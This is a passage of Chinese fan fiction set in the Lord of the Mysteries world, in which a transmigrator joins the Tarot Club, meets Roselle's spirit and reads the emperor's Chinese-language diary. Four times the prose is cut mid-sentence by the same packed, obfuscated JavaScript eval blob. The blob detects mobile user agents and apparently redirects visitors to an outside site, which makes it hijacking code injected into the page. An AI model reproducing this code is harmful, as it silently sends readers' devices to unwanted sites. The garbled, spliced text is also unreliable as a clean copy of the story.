在游戏里,伊莱亚几乎每天都会向愚者祈祷,拿愚者赐福——作为愚者眷者,这个赐福能给他带来全属性增幅百分之三十的加成,完全无法拒绝——但是他确实没在游戏里见过愚者本人。 官方给出的理由是神明居于星界,不会轻易降临人世,更不会随意接触凡人,但是虔诚的祈祷可以抵达神明的耳畔。 因为愚者赐福的buff实在太香,所以伊莱亚每次祈祷都非常虔诚,如果那是真实的世界的话,估计愚者也能天天听到他请求帮助的祈祷吧……咳咳。 不能想下去了,这可是在神明面前。伊莱亚努力压住自己蓬乱的思维。 “叩叩。” 他听到长桌上首,那道被萦绕的灰雾掩盖了面容和身形的存在姿态随意地敲了一下桌子,轻笑了一声:“不必如此,抬起头吧。你为何祈祷?” 跟不让看见任何东西还威压强大的黑夜女神比起来,愚者真是个好人,哦不,亲民的神,甚至会在一开始就收敛身为神明所自带的压力,和看到他变狼人之后才收力的黑夜女神完全不一样。 没有诋毁女神的意思,感谢女神打赏的眷者和钱和材料。伊莱亚真诚地在心底低语。 然后他深吸一口气,开始陈述自己准备好的理由——当然不会把所有事情全说,但是确实全是真话: “愚者先生,我失去了很多记忆(我失去了原身的记忆),也不知道为什么会在这里(我不知道为什么会穿越),但是在我的感觉里,您已复苏多年,强大如同万物的支柱,您的信徒遍布世界,您的伟力可以撼动地球。 我应当信仰着您,敬爱着您,您的光辉照耀着我前行的道路(我会像爱您给的buff一样虔诚的信仰您,您的赐福永远照耀着我的游戏之路)。” ……你说的是我吗?hello?我现在只是一个装成复苏古神的序列九,你说的那个夸张强大的像上帝降临的“愚者”是谁?克莱恩面色不改,心里忍不住吐槽。 我当真神?真的假的? 但在伊莱亚说这段话的时候,克莱恩一直开着灵视看他的情绪。 他看得出来,伊莱亚此刻兴奋又平静,似乎在思索着什么,而他在灰雾之上增强了的灵性直觉告诉他,面前的人没说谎。 他好像是真的把我当成了一位很强大的神明,好像是真的在信仰愚者……克莱恩听着伊莱亚真情实感的倾诉,表情不变,思绪却逐渐诡异。 女神眷者跑来信仰邪神吗?他信仰的那个“愚者”,真的是我吗? 于是克莱恩又敲了一下桌子,打断了“信徒”的发言,声音低沉:“我才刚复苏不久,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334481|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并未传播我的尊名。你确定你信仰的神明是我吗?” 不是说愚者是打击末日的主力吗?什么叫末日马上就到了愚者才刚复苏?祂恢复的那么快吗,这么几年之间就从刚复苏到旧日了? 不对,不对,要是愚者刚复苏的话,那我就不能是“信仰愚者已久”的信徒了。总不能说我一直信仰一个伪装成愚者的邪神吧。 说我是穿越进了游戏也不行……但是穿越应该可以。伊莱亚想到女神的英语,又想到游戏里愚者教会出版的罗塞尔日记全集,心一横。 赌一把,万一愚者会汉语呢? 于是他自然地抬起头,望向那张被灰雾遮掩的面容,鲁恩语改成了字正腔圆、词句清晰的中文: “我也不清楚为什么会这样,虽然我失忆了,但是我确定我信仰的就是您,愚者先生。” “我怀疑是我穿越了。” 伊莱亚的话音落下,灰雾之上只余沉默。 伊莱亚说完就低下了头,屏息紧张,半晌,才听到愚者恢宏而低沉的声音,语调很柔和,声音很耳熟,“好,我知道了。我会定期举办集会,你想加入吗?” 是中文。 真的是中文。 愚者真的说中文! 而且一听就是母语水平。 伊莱亚深深吸了口气。说英语的女神,说中文的愚者,就算现在告诉他还有什么神会说俄语他也不会意外的。 等等,愚者让他加入什么?愚者的神前会议?那不就是传说中全员天使的塔罗会吗! “我愿意!”怎么会有不想加入塔罗会的愚者信徒呢? “塔罗会的惯例是从二十二张大阿卡纳牌当中选一个代号,现在已经有的是【正义】和【倒吊人】。”愚者的声音平稳,带着神秘的气息,“你想要什么代号?” 囚犯途径对应的塔罗牌是节制,但是伊莱亚模糊的记忆里【节制】已经有人了。剩下的牌……说实话,他记不清。他真的不怎么关注剧情和角色, 能记得【节制】还是因为这是和他同途径的前辈。 “能请您去掉已经有人的牌之后。为我抽一张塔罗牌吗?我想将那张牌作为我的代号。” 作为占卜家序列顶端的愚者肯定可以为他抽出最符合命运的牌。 而且四舍五入就算是愚者亲手给他起的代号!要是愚者同意的话,他这辈子就不换代号了! 灰雾之后的占卜家笑了笑,“好。” 于是青铜桌面上的灰雾漫流聚集在一起,凝成18张塔罗牌。这是去掉了作为首尾的【愚者】、【世界】以及已经有人了的【正义】和【倒吊人】之后剩下的卡牌。 首座上一身正装的神明行云流水般洗牌,然后把牌展成扇形,抽出位于扇形正中央的那张牌,放在桌上,推到伊莱亚面前,翻开。 竖长的塔罗牌上,矗立着由地至天的白色高塔,塔顶有雷电轰鸣与烈火灼烧,再细细看去,有小小的人形从塔上掉落。 【高塔】牌! “欢迎你,【高塔】。” 他听见那崇高却亲切的存在如此说道。 5. 源质空间与罗塞尔 伊莱亚睁开眼睛。 房间里加了精油的蜡烛燃烧出清幽的香味,和食物的气味混合在一起,有股奇怪的感觉。 他把东西收拾起来,拉开窗帘,任由绯红的月光透进玻璃,为地板笼上一层红纱。 说实话,他来到这个世界第一次有“我穿越了”的想法就是因为看到了悬于天空的红月。 当时那个与记忆中的月亮截然不同的天体给伊莱亚带来了极大的震撼,也让他切身实地的意识到世界真的变了。 伊莱亚收回视线,席地而坐,思绪沉入脑海。 他应当确实是穿进了“游戏”,或者说,游戏就是按照这个世界的现实创作出来的产品。 准确的说,游戏的背景世界观是他身处的这个世界几百或者几千年后的现实。 在游戏里最出彩的神明在这个时代同样存在,不过女神的教会已经昌盛多年,而愚者才刚刚复苏,一切处于百废待兴的阶段。 而且,这俩神还都和他一样是穿越者。 女神说自己和她有过交易,估计是在空白的那段记忆里发生过的事情。考虑到神性强大的人一向冷酷客观,而女神面对一个失忆的人还愿意兑现自己交易的承诺,这场交易里祂肯定没吃亏。 就是不知道自己到底干了什么,或者要干什么,才能换黑夜教会无条件的支持和帮助。 伊莱亚把“晋升序列,探究和黑夜女神的交易内容”列入未来计划当中。 此外,他也准备看看能不能加入值夜者的那些活动,了解一下真实的非凡者,顺便看看自己的实力大概处于什么层。 不知道为什么,虽然他刚穿越没几天,目前为止也基本没扮演过狼人,但是在他的感觉里,魔药确实已经消化的差不多了,随时可以晋升。 可能这速通的魔药消化进度就是他这个穿越还没记忆的倒霉蛋的金手指吧。 至于愚者…… 红发的青年回忆着在灰雾中看向那温和的面目不清的神明时的感受,忍不住感叹: “确实是一位仁慈的神明啊。” 不仅完全没有传说中“只可信其威能不可信其仁慈”的样子,甚至给人一种有只要请求合理祂就会同意的感觉。 何尝不是一种已识乾坤大犹怜草木青呢。 咳咳,扯远了。总之,他现在算是加入了塔罗会,按愚者的说法,下周一会召开塔罗会,不知道到时会有多少人,又会是怎么样的一个形式。 伊莱亚还是挺好奇未来大名鼎鼎群英荟萃的塔罗会早期是什么样子的。 想到这里,他没忍住扬起了嘴角。 不管未来怎么样,至少在现在,他也是塔罗会的一员了。 赞美愚者。 空荡而没有什么人气的房间里,肤色苍白的年轻人朝着虚空行了个庄严的礼。 —— 虽然黑夜教会提供的房子可以拎包入住,但是整理成大致符合伊莱亚习惯的样子还是废了一些功夫。 等到全部事物都打理好,就算有着序列七级别的身体也已经感到疲惫了。 他往床上一躺,闭上眼,灵魂下沉至无垠的黑暗中,陷入无梦的安眠。 ……本来该是安眠的。 所以这个扎着小辫子的神秘棕毛男是谁? “哟,你醒啦?手术很成功。”这个蓝眼睛的家伙穿着一身很华丽的衣服,叉着腰,看起来三四十岁上下,脸上的两撮小胡子相当吸睛。 很好,又是中文,吐字清楚平仄分明,好熟练的母语级中文。 穿越以来见到的老乡含量已经高到让伊莱亚感觉这个穿越就跟回家了一样。 “全世界都在讲中国话”指日可待。 他撑着地面用力坐起,差点撞上眼前男人的脑门。 “你是谁?这里是哪?我又进谁的神国了?” “你的。” 棕发的男人放下惊雷,然后一个大喘气,“不过不是神国,只是一个源质而已。” “源质?那是什么。还有,你到底是谁?”伊莱亚盯着男人的完全没改的微笑看了一会,意识到自己暂时回不去,叹了口气反问道。 “简单来说,这里是你的金手指或者说外挂啦,但是由于这个外挂太牛逼了,所以你暂时不能听这玩意具体是什么。” “以及,我叫罗塞尔,罗塞尔·古斯塔夫,伟大的因蒂斯皇帝。” 自称是罗塞尔的家伙神情爽朗而豪迈,带着一种浑然天成的领袖气质,每一个字都有种天然的能让人发自内心相信的魔力。 “没听说过。”伊·所有剧情全部跳过·莱·完全不了解历史·亚下意识皱眉,他能感觉到这人身上那种“只要呼吸就带有奇异的威严”的非凡气息。 虽然这人的压迫感不是那么强,但是他确实给伊莱亚一种面对黑夜女神时的感受。 不是性别和能力像,而是那种语言和一举一动里里都融入了登峰造极的非凡能力,仿佛非凡已经是他们存在的一部分,已经成了他们的血液、呼吸与神经的感觉。在这方面,这俩人像的出奇。 哦,在谜语人的方面也像。 就算是个非凡文盲,伊莱亚也知道高序列的非凡知识容易引起失控所以不能随便告诉别人。 但是也没必要总是说着“这里有秘密”然后又来一句“你不能听”吧? “不能说就算了。”他翻着白眼站起身,感觉到自己暂时没有回去现实世界的办法,就开始打量四周环境。 黑暗,彻彻底底的黑暗,带着难以言喻的虚无感,目之所极皆是影影绰绰层层叠叠的漆黑。 万物皆是混沌,甚至连脚下都是虚空,没有可以仰望的天更没有可以踩踏的地。 虽然完全没有光照,但是依旧能看清一切,只不过这里并没有任何值得去看的事物,除了那漫无边际几乎数不清的生长在漆黑的虚空中或飘荡着的影子。 所有的感知都被这种奇诡的黑暗所吞没、否定,又给人一种强烈的束缚感,仿佛灵魂下一刻就要消弭于暗影中却又被无形的事物束缚成形。 不过在很远的地方,似乎有什么星星一样闪烁着的微芒,被层层黑暗包裹着,并不明晰。 伊莱亚的眼睛缓缓睁大。 “这到底是哪?我怎么回去?”他转向罗塞尔,下意识询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334482|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来是个老资历的家伙。 这里看着就不像是人能活的地方啊? 而这一次,他终于看清了罗塞尔的样子。 这个对他的无视和询问只是哼笑的家伙,有着半透明的身体,在这漫无边际形式多样的黑暗中竟然发出微微的光,也照亮了这一隅。 “你真的是人吗?”伊莱亚下意识提高了声音。 他能感觉到自己被空间或者空间里的什么东西影响了状态,变得焦躁而急迫,无形的欲望被鼓动,驱使着他去放纵自我、肆意行事,甚至连说话都比正常状态下直白了不知多少。 不行,不能随便被影响。我明明是以自我节制出名的囚犯序列,怎么能随便失控。 他闭上眼,调理气息,在心底反复描绘最近看到的印象深刻的东西,压下心中那种奇异的躁动。 等到他再睁开眼时,看到的就是罗塞尔靠在桌边,研究手里不知何时出现的煤气灯的场景。 一个半透明虚化的人拿着完全是个正常实体的煤气灯,有种淡淡的喜剧感。 “终于清醒了?”罗塞尔把灯放在桌上,似乎看出了伊莱亚没说出口的困惑,敲敲桌子,“这是你变出来的,你刚刚是不是在想灯和桌子?” “我都说了,这里是你的源质,已经被你控制住的空间,这个世界是任你操纵的,你想要的东西都可以具现出来。”他仍然是一副神秘大佬的样子,“只要你想的到,想的清楚。” “相关知识涉及到的层次太高不能告诉我的话,至少告诉我一下这里的名字吧?”伊莱亚盯着煤气灯里的光,意识到这是自己在警察局审讯室里看到的那盏。 现在距离他从审讯室出来竟然只过了半天时间,恐怖如斯。 “你应该有点感觉吧?暗影世界,这里就叫暗影世界。”罗塞尔站的正了些,表情也正经了不少。 “我上辈子叫黄涛,穿越的比较早,在因蒂斯当了好多年皇帝,还晋升到了序列零。这个我是我死后剩下了一部分清醒灵体。我到这里之后就陷入了沉睡,记忆也不全,所以,我也不知道为什么会在这里。 “以及,我醒的时间也没比你早多少,应该也就是这两天的事情。可惜这里没有日夜,不能确定准确的……”罗塞尔下意识接住从天降落的怀表,“时间。” 他打开这个伊莱亚临时在脑中勾勒出来的怀表看了一会,笑眯眯地抬起头,这下他身上的那种非凡级别的威严已经全然消失了,但是仍然有一种娴熟的亲切感和吸引力:“学的不错,下次可以多变点东西试试。” “对了,我很了解各种非凡知识,如果有什么不知道的东西都可以来问我,有什么非凡材料的话也可以找我来做成非凡物品。虽然现在转序列了,但我可是序列零级别的工匠。” 罗塞尔的手搭上伊莱亚的肩膀,自然的拍了两下,仿佛相识多年亲密无间的好友。 “作为交换,你就趁早晋升,然后想办法把我拉到现实吧?身体可以我自己来做。还有,要是可以的话,也多来看看你英年早逝孤苦伶仃的倒霉老乡我啊?” 影影绰绰的漆黑世界里,红发的青年低低地应了一声。 6. 猫和老鼠与教唆者 一番尝试之后,伊莱亚找到了进出暗影世界的方法,成功控制自己的灵体,离开了那个一片黑暗的空间。 回到现实以后,他瞥了一眼房间里的钟表,距离他进去的时候过了大概半个小时。 在暗影世界里的时候会感觉灵性在持续消耗,但是速度不算很快,还在可以接受的范围,出来以后也不会感觉非常疲惫或者头痛。但是离开了那个阴暗压抑的世界之后面对现实,会有一种眼前一亮,整个人焕然一新的感觉。 ……虽然说按照穿越小说的惯例,金手指空间应该是外挂是福利,但是目前来看,伊莱亚的“外挂”除了保护了不知名前辈的灵体和让自己感到不适之外,没什么显眼的用处。 伊莱亚重新闭上眼,尝试着主动让灵体下沉至灵魂与意识的海洋。 令人烦躁的虚幻呓语和扭曲压抑的气息裹挟着他下坠,又在某一刻骤然消失。 “成功啦?不错嘛。”熟悉的声音传来,伊莱亚在罗塞尔的注视中睁开眼,目光所及之处已然是他刚刚离开的空间。 没有固定形质的黑影像是流淌的潮水又像弥散的雾气,时而又化作奇形怪状的物品,无穷无尽的堆叠在眼前。 伊莱亚按了按太阳穴,目前来看,相比于身处暗影世界和意念造物,对灵性消耗更大的还是这个进出空间的过程。 不过好在这些都在他接受的范围内。 这些思索都只在瞬息间,没有妨碍他回应罗塞尔:“以后应该能很流畅的进来了,挺轻松的。” 然后他又注意到罗塞尔身边多出来的一堆东西。 花样繁复的地毯上摆着一个长沙发和几个单人沙发、精致华丽的茶几、复古立地台灯和两个低矮的柜子,都是法式宫廷风,虽然没墙没屋顶,但是这几样家具往那一搁,就有种浑然天成的封建时期大城堡内饰的即视感。 而搞出这堆东西的本人就躺靠在沙发上,懒洋洋地看着眼前巨大的与整体风格截然不同的电视。 电视上还放着猫和老鼠。 看来在他离开空间的很短的一段时间里,罗塞尔也干了不少事情啊。 伊莱亚在脑海中构造出一个明亮舒适的房间,然后看着虚无的黑暗中一寸寸拔起平整的白墙,又在三米高的位置转折,聚拢成平直的屋顶。最后,圆润而不刺目的护眼灯出现在屋顶的正中央,照亮身处其中的一切。 现在,这里像一个正常的现代风格古典装潢的房间了。 “你怎么搞出来电视的?”年轻人看着屏幕上奔跑追逐的猫鼠,微微睁大了眼睛,感觉刚刚因为担心罗塞尔一个人在这个过于幽暗压抑的空间里会不舒服,所以赶紧回来的自己有点幽默。 “我以前是通识者啊,能记住所有见过的东西,这里又是只要能想出来就能无视能源和材料,区区电视,小菜一碟。”这位他并不了解的穿越者前辈好似完全没有被“自己被困于这片空间中,除了伊莱亚之外接触不到任何人”这种事情困扰,神采奕奕地说着“蒸汽教会真没用,打不过风暴之神,连电力都不让我搞”之类的话。 但是对于一个能记住一切的人来说,一部每个细节都烂熟于心的动画也说不上有多好看吧。 但伊莱亚没说自己的想法,只是应下罗塞尔的邀请,坐在舒适而陌生的沙发上,和素未谋面的同乡一起看这部在这个时代绝对没有可能出现的、与过往记忆紧密相连的作品。 “我到时候研究一下能不能送点东西进来。你有什么需要的吗?新的小说?发明?还是别的什么东西?”片尾曲的音乐里,他计算着剩下的灵性,转头看向罗塞尔。 “搞点常用的非凡材料吧,我做点东西试试。”到了自己的专业领域,罗塞尔摸着下巴具现出一张a4纸,列出一串让人眼花撩乱的非凡物品和金属、植物,递给伊莱亚,“然后的话,最近几年的报纸,哪里的都行,尽量多一点。再看看市面上有什么比较火的小说,题材无所谓。” “大概就是这样,那就拜托小伊你了。”男人保持着一副大前辈的成熟样子说完这些,又态度一转,勾住了伊莱亚的脖子,微微咬牙:“最重要的一件事,给我好好查一下伟大的罗塞尔·古斯塔夫的资料,仔仔细细了解一下前辈啊。” 伊莱亚回顾着脑海里白茫茫一片真干净的关于这个世界的历史,又看了几眼单子上几乎完全陌生的非凡材料,苦着脸点头。 早知道会穿越,他一定反复研读游戏剧情设定和各种资料,一定认真观看那些解析视频,无论如何不会让自己成为神秘学文盲兼史盲。 不过仔细想想,抛开神秘学不说,单论这个世界与非凡无关的那些普通知识,他也是个彻彻底底毫无学历的文盲啊,那没事了。 哈哈。笑笑蒜了。 伊莱亚记下需要的东西,在罗塞尔懒洋洋地挥手告别里回到现实。 此时还是夜晚,绯红的月光透过窗帘的罅隙穿进卧室,在地板上投下长条状的光影,带着一种陌生的魔幻感。 好好睡一觉,剩下的事情明天再说吧。 这一次,是真正的睡着了。 —— 次日早晨,佐特兰街,黑荆棘安保公司。 红发的青年敲了几下木门,听到里面传来的一声“请进”之后便推开门走了进去。 “你好,请问有什么需要……”坐在前台的罗珊抬起头,下意识说着面对委托人时惯例的台词,又在看到伊莱亚的脸都时候戛然而止。 “加拉哈德先生?你是来找队长他们的吗?”棕发的女孩回忆着昨天来自邓恩的吩咐,“队长说你要是来找他的话直接带你进去就好。” 伊莱亚欣然点头,跟着女孩走进通道。 邓恩今天在办公室处理事务,看到敲门进来的罗珊和伊莱亚的时候便把手里的文件放下,灰眸沉静而深邃:“早上好,眷者阁下。辛苦了,罗珊。” 罗珊朝他和伊莱亚点点头,退出了房间,顺便带上了门。 这下,这里只剩邓恩和伊莱亚了。 “有什么需要的吗?眷者阁下。按照女神的神谕,力所能及的我们都可以为您提供。”邓恩在室内没带那顶礼帽,但是身上仍穿着黑色风衣,有种严肃沉默的气质,语气却相当温和,如同亲切的长者。 “首先,请不要叫我眷者阁下,叫我伊莱亚就好。”伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334483|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱亚面色诚恳地说。 这称呼太古典了,再叫我阁下我都要觉得自己穿进封建社会了。 看着邓恩点头,他才继续说:“你们有非凡者相关的资料吗?呃,就是给新手非凡者那种,非凡常识相关的。我没有相关的记忆了,担心会失控或者出什么问题之类的,想学习一下。” 毕竟在现实中,不能像游戏里那样两眼一睁就是莽,出问题了就回到复活点重开。这个世界的人失控了一般没救,死了就是死了,一般来说也不会复活。他得谨慎一些。 ——至少得了解一下现在世界上有哪些神明,又有哪些是正神。总不能在别人问起来的时候说“对不起我只认识女神和愚者”吧,那也太不像个正常非凡者了。 如果愚者说的“刚复苏不久”是实话的话,祂现在可能不在正神名单上,甚至可能被当作邪神,那他这个“女神眷者”就更不能提及对方了。 当然,伊莱亚十分、非常清楚,在未来,愚者会成为被所有国家所认可且公认最仁慈亲切的神明。 “还有就是,我想问一下你们这有没有苜蓿号相关的资料,现在回想起来,当时船上的自相残杀应该是因为有……教唆者?” “……你能确定吗?”邓恩的脸色沉凝。 他知道教唆者是序列8,刺客序列的上位。作为能力相当危险,经常在各种非凡案件中作为罪犯出现的序列,教会对教唆者也有一定的记载。 简单来说,教唆者们的能力和序列名称非常匹配,他们擅长的就是挑拨冲突、激化矛盾、诱发恶念,引起各种人与人之间的斗争。 把“有教唆者引导冲突”这一前提放入当时苜蓿号上无端发生的的自相残杀案件中进行思考,整个事件的脉络就一下子清晰了起来。 正是因为因为有教唆者故意教唆他人引起争端,船上才会爆发前所未有且毫无缘由的血案,直至船抵达岸边时,这场闹剧才进入大众视线。 至于那名教唆者……哈,肯定藏在幕后,早早逃走了,说不定还带上假面,伪装成拯救他人的大善人了呢! 伊莱亚当年低序列的时候,就追杀过几个为了扮演故意勾起人心恶意,等一切爆发之后又装模作样当好人的教唆者。 同为不算完全正义的序列,刺客途径的晋升可比他们囚犯途径要血腥暴力多了。 灰眸的队长神情严肃地点头:“我会把你提供的信息上报。相关的资料和教唆者的踪迹我们会向恩马特港那边的值夜者咨询,等有消息了就告诉你。” “对了,非凡知识相关的书籍大多在查尼斯门后,你去文职人员办公室找老尼尔,他可以给你把资料带出来。” 伊莱亚简洁的表达了感谢,刚要走出门,邓恩就补充了一句:“等等,文职人员办公室是出门左拐第一间,有打字机的那个房间。进去以后,你看到的白头发的老人就是老尼尔。” “你的保密权限是最高级,廷根值夜者小队这边所有资料都可以查看。” 伊莱亚真情实感的在胸前画了个红月,“非常感谢!赞美女神。” 邓恩喝了一口咖啡,同样在胸前点了四下,“赞美女神。” 7.人人都看大帝日记 文职人员办公室的铁门半掩,透出朦胧的淡黄灯光。 伊莱亚轻轻敲了一下门,听到里面传来苍老的声音:“请进。” 这个房间相当狭窄,放下一套桌椅以后就没几分宽裕空间了。房间里只有一个人,穿着一身黑袍,头发花白,正坐在椅子上低头看资料。 “你就是那位女神眷者?初次见面,像邓恩他们一样叫我老尼尔就好。”听到开门的声音,老尼尔抬头看向伊莱亚,笑容温和。 “伊莱亚·加拉哈德。”伊莱亚朝他点点头,顺手把门合上,“叫我伊莱亚就好。” 他把刚刚从队长那里拿来的批条放在从满是书纸的桌上腾出的空地里,推给尼尔:“这是队长给我的批条,他说找你拿和非凡知识相关的书和资料。” “好,那你要大概哪些内容的资料呢?”尼尔看了一眼纸条上邓恩的字迹,问道。 “……新手非凡者常识吧,还有基本的仪式魔法、当下主流的隐秘组织和邪教知识。”伊莱亚思索着自己一片空白的非凡知识,一边不算确定地发问:“对了,这里能找到近几年非凡者失控或者犯案的案卷吗?” 不知道是不是错觉,他感觉眼前的老者身上带着一种很古怪的邪异气息。不算浓郁,但是对一个感知相当敏锐,自身也是偏黑暗属性的“狼人”来说还是挺明显的。 但是身上沾上了古怪气息的理由可以有很多,伊莱亚自己的非凡知识不算丰富,也不敢随便的怀疑人,万一尼尔和他比较像,情绪和能力其实都很正常,只是自己所在的途径比较邪恶呢? 所以他把这点思虑放在心里,准备等多了解一些相关的知识或者询问专业人士之后再做判断。 ——当然,这个询问对象不会是老尼尔本人。 “还有,如果有关于灵性的基础运用的书也很好。” 比如关于灵视怎么开的教程……在游戏里,想要开启灵视只需要按一下技能键,但现实中他是真的没试过,也不知道怎么用。 虽然这个问题对于一个序列七的非凡者来说,荒谬程度可能不亚于问一个大学生“一加一等于几”,但是考虑到伊莱亚的人设目前还是“失忆的倒霉女神眷者”,这些需求还算合理。 没办法,第一次当非凡者,不太熟练。 尼尔点点头,“好,你在这里等我一会。无聊的话可以看看这些资料消磨一下时间。” 随后便拿着纸条走出了房间。 房间里总共就两把椅子,伊莱亚坐在房间里除了刚刚尼尔没坐着的那把椅子上,随意的打量着桌上的书和资料。 《常见非凡材料汇总》《女神圣典解析》《罗塞尔的生平与谎言》《符号语言解析》《鲁恩植物图鉴》…… 等等。 伊莱亚的动作停顿了一下。 他好像……看到了一个熟悉的名字? 罗塞尔?生平与谎言? 他从书堆里抽出那本无论是书名还是人名都莫名很熟悉的传记,翻开。 “谨以此书,纪念伟大的因蒂斯皇帝罗塞尔·古斯塔夫陛下。”首页是花体字的鲁恩语句,而在这这句话的正下方,是一张彩色的油画风半身人像。 画面上的男人穿着华丽满是宝石和金线的斗篷,一头自然披散的栗色长卷发被头顶形制独特的铁黑色皇冠束住,他的脸是很标准的西方面孔,高鼻梁下是修饰仔细的胡须蓝色的眼睛沉着地看向画外,表情严肃而端庄。 总的来说,画里的人的长相和姿态都很符合对一位封建皇帝的印象。 也和空间里那位老乡长的一模一样。 好家伙,原来他真是因蒂斯皇帝啊。伊莱亚摸着下巴翻开书页。 虽然标题起的挺微妙,但是这本书总的来说还是正常的传记,讲述罗塞尔的生平、成就和各项事业,只是加上了一些关于罗塞尔的谣言的澄清。 工业革命、蒸汽机、塔罗牌、民法典、以及大量一眼就能看出原型的文学作品…… 不愧是穿越者前辈,在大展拳脚改变世界的同时,也没给后辈留下多少发挥的余地啊。 不过就算让我抄我也只会用这些东西,根本没法想起各种图纸和文章,所以还是感谢罗塞尔发起的工业革命,不然我都没法想象没有马桶和下水道系统的世界该怎么生活……伊莱亚在心里嘀咕着,快速地翻看整本书。 “罗塞尔大帝才华横溢,甚至自创出一种除了他以外无人能识别的语言,并将其命名为‘罗塞尔文’。” “大帝一生写下了数量庞大的日记,其中所使用的全都是他自创的语言,无数人试图描摹、传播、研究,想要探究这种神秘文字背后所蕴藏的传奇帝王的秘密。本书附录中也有几页笔者收集到的大帝日记抄页,期待有看此书的人能破解其中的奥秘。” 只有身为穿越者的罗塞尔知道,除了他以外没有人认识的语言…… 多半是中文吧。 伊莱亚把书合上,从末尾的几页翻开,正好打开附录里标着“罗塞尔日记”的那几页。 确实是方块字,只是横歪竖斜,字形膨胀的很大,字不成字句不像句,比起“一篇中文日记”,更像是被好多个完全没学过中文的外国人一个抄一个导致越抄越不像原文的神秘文章。 在日记的角落,还有用鲁恩语写的猜测和批注。 好在作为一个同时熟悉这门语言并且认识这个世界的文字的人,伊莱亚还是能看出来这上面究竟写了什么的。 “五月三十日,通识者牛逼!黄涛牛逼!我的设计和图纸成功做出成品了!不愧是我,等我把这些发明全部造出来,等我开启工业革命,未来所有人都会记住罗塞尔古斯塔夫的名字!” “六月一日,特罗菈小姐的舞蹈真是美丽动人啊。” “六月七日,又抄完翻译完一本名著拿去出版了,出版社那边反应不错,没意外的话又是一本畅销书。幸好我上辈子实打实看过不少名著,现在肚子里有货就是爽。” “三月十五日,世界上怎么会有贝贝这么聪明机灵又活泼可爱的小孩!我的女儿就是好啊,小小年纪就能认识这么多字,还能安安静静看我画图,学唱歌也很快,不愧是我和玛蒂尔达的女儿。” “九月七日,亚瑟又把贝贝带去海上玩了!是半神会灵界穿梭了不起啊臭小子!谁当骑士会给自己起名叫‘亚瑟·莫德雷德’,还一点没个骑士样子天天拐教女出去玩啊!!” “不过贝贝还挺喜欢去海边,以后造船了可以多带她出几次海。不带亚瑟,呵呵。” 虽然总的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337723|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 页数不少,但是由于字体很大且奇形怪状,实际上内容并不算多,很快就看完了。 确定自己已经把书里的日记看完一遍之后,伊莱亚合上书,陷入思考。 如果空间里那个自称是穿越者前辈罗塞尔的灵体没有撒谎,那么他应该真的就是书里这位传奇帝王。 而除开那个特罗菈之外,在日记中提到的“贝贝”和“亚瑟”应该都是和罗塞尔非常亲近的人,一个是女儿,另一个是女儿的教父,看这个名字,估计也是个穿越者。 有一说一,就伊莱亚目前了解到的人来说,这个世界穿越者还挺遍地开花。 伊莱亚对这个世界的认知不算丰富,所以没有体会到到太多罗塞尔为世界带来的变化。但是可以想见的是,他确实干了很多大事,也确实活得像个穿越小说主角。 不愧是穿越者前辈啊。 正思索着,尼尔抱着一堆书和资料走了进来,伊莱亚连忙去帮忙接书。 尼尔笑呵呵地看着伊莱亚把书放到桌上,从里面拿出一叠资料:“这些隐秘组织和非凡者的资料不能带走,得在这里看完。剩下的书你可以带回家慢慢看,有什么疑惑都可以来问我。” 接着他就看到眼前的年轻人眼睛亮亮地朝他道谢:“非常感谢尼尔先生!” 然后就飞快地打开资料开始翻看了。 被煤油灯照亮的办公室里一下子陷入一种安静的氛围,除了翻书的声音之外只剩两人呼吸的声音。 “你刚刚是在看这本罗赛尔的传记吗?”尼尔注意到桌上被单独放着的书,看了两眼。 “对,我觉得他的日记很有趣,虽然看不懂,但是那些字很好玩,要是能解读出来的话,感觉可以了解到罗塞尔的很多秘密。”伊莱亚还在看资料,但是不妨碍他一心两用地回复了尼尔。 “你要是好奇的话,我这里还有几页罗塞尔日记,你可以看看。”尼尔从纸堆里扒拉出几张泛黄的书页,递给伊莱亚。 